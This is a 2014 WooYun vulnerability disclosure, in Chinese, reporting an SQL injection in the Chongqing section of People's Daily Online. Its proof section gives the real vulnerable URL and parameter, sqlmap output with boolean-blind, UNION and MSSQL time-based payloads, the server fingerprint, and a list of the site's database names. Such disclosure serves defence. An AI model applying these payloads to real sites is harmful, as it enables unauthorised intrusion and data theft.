漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-077229
漏洞标题：人民网重庆视窗SQL注入
相关厂商：人民网
漏洞作者： 路人甲
提交时间：2014-09-25 11:06
修复时间：2014-11-09 11:08
公开时间：2014-11-09 11:08
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-25： 细节已通知厂商并且等待厂商处理中
2014-09-28： 厂商已经确认，细节仅向厂商公开
2014-10-08： 细节向核心白帽子及相关领域专家公开
2014-10-18： 细节向普通白帽子公开
2014-10-28： 细节向实习白帽子公开
2014-11-09： 细节向公众公开
简要描述：
人民网重庆视窗SQL注入
详细说明：
人民网重庆视窗SQL注入
漏洞证明：
http://cq.people.com.cn/jkpd/sclass.cqr300?szname =%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&scid=3271
[22:01:45] [INFO] GET parameter 'scid' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'scid' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 527 HTTP(s) req
uests:
---
Place: GET
Parameter: scid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: szname=%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&sci
d=3271' AND 3953=3953 AND 'cgUE'='cgUE
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: szname=%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&sci
d=3271' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(109)+CHAR(112)+CHAR(122)+
CHAR(113)+CHAR(114)+CHAR(88)+CHAR(105)+CHAR(79)+CHAR(80)+CHAR(90)+CHAR(85)+CHAR(
68)+CHAR(122)+CHAR(75)+CHAR(113)+CHAR(100)+CHAR(101)+CHAR(109)+CHAR(113)--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: szname=%B1%BE%C6%DA%B9%D8%D7%A2&scname=%CA%B3%D2%A9%B0%B2%C8%AB&sci
d=-9861' OR 6445=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysuser
s AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) A
ND 'eKvu'='eKvu
---
[22:01:53] [INFO] testing Microsoft SQL Server
[22:01:54] [INFO] confirming Microsoft SQL Server
[22:01:56] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP.NET, ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2012
[22:01:56] [INFO] fetching database names
available databases [12]:
[*] #Inza@%eopl!(e_2009
[*] #Inza_BXSY_2012
[*] #LJ@%eopl!(e_2010
[*] #LJ@%Rlzy_Zpqi
[*] CQPEOPLE_CQQS_BBS
[*] flower
[*] LJ_BBS
[*] master
[*] model
[*] msdb
[*] tempdb
[*] tygj
[22:02:00] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 33 times
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：10
确认时间：2014-09-28 11:42
厂商回复：
最新状态：
暂无